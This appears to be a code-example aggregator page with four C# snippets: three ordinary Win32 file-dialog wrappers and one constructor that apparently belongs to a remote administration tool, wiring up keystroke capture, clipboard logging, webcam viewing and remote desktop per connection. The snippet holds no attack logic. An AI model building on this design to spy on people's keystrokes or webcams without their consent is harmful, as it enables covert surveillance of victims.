Exemplo n.º 1
0
        public Connection(TcpClient client)
        {
            _client    = client;
            _formatter = new BinaryFormatter();

            _secured   = false;
            _encLock   = new object();
            _decLock   = new object();
            _encryptor = null;
            _decryptor = null;

            IPAddress = ((IPEndPoint)_client.Client.RemoteEndPoint).Address;
            Port      = ((IPEndPoint)_client.Client.LocalEndPoint).Port;

            RemoteDesktop      = new RemoteDesktopDialog(this);
            WebcamViewer       = new WebcamDialog(this);
            FileExplorer       = new FileExplorerDialog(this);
            ProcessManager     = new ProcessManagerDialog(this);
            KeystrokeCapturer  = new KeystrokeCapturerDialog(this);
            ClipboardLogger    = new ClipboardLoggerDialog(this);
            ApplicationHandler = new ApplicationHandlerDialog(this);
            RegistryEditor     = new RegistryEditorDialog(this);
            StartupMonitor     = new StartupMonitorDialog(this);
            ServiceAdminister  = new ServiceAdministerDialog(this);
            InstantMessenger   = new InstantMessengerDialog(this);

            Downloads = new Dictionary <int, Download>();
            Uploads   = new Dictionary <int, Upload>();
        }
Exemplo n.º 2
0
    public static string SaveFile(string regex = "*")
    {
        FileExplorerDialog fileExplorerDialog = new FileExplorerDialog();

        fileExplorerDialog.structSize   = Marshal.SizeOf(fileExplorerDialog);
        fileExplorerDialog.filter       = regex;
        fileExplorerDialog.file         = new string(new char[256]);
        fileExplorerDialog.maxFile      = fileExplorerDialog.file.Length;
        fileExplorerDialog.fileTitle    = new string(new char[64]);
        fileExplorerDialog.maxFileTitle = fileExplorerDialog.fileTitle.Length;
        fileExplorerDialog.initialDir   = Application.streamingAssetsPath.Replace('/', '\\');       //默认路径
        fileExplorerDialog.title        = "窗口标题";
        fileExplorerDialog.flags        = 0x00080000 | 0x00001000 | 0x00000800 | 0x00000008;
        return(LocalDialog.GetSaveFileName(fileExplorerDialog) ? fileExplorerDialog.file : "");
    }
Exemplo n.º 3
0
 public static bool GetOFN([In, Out] FileExplorerDialog ofn)
 {
     return(GetOpenFileName(ofn));
 }
Exemplo n.º 4
0
 public static extern bool GetOpenFileName([In, Out] FileExplorerDialog ofn);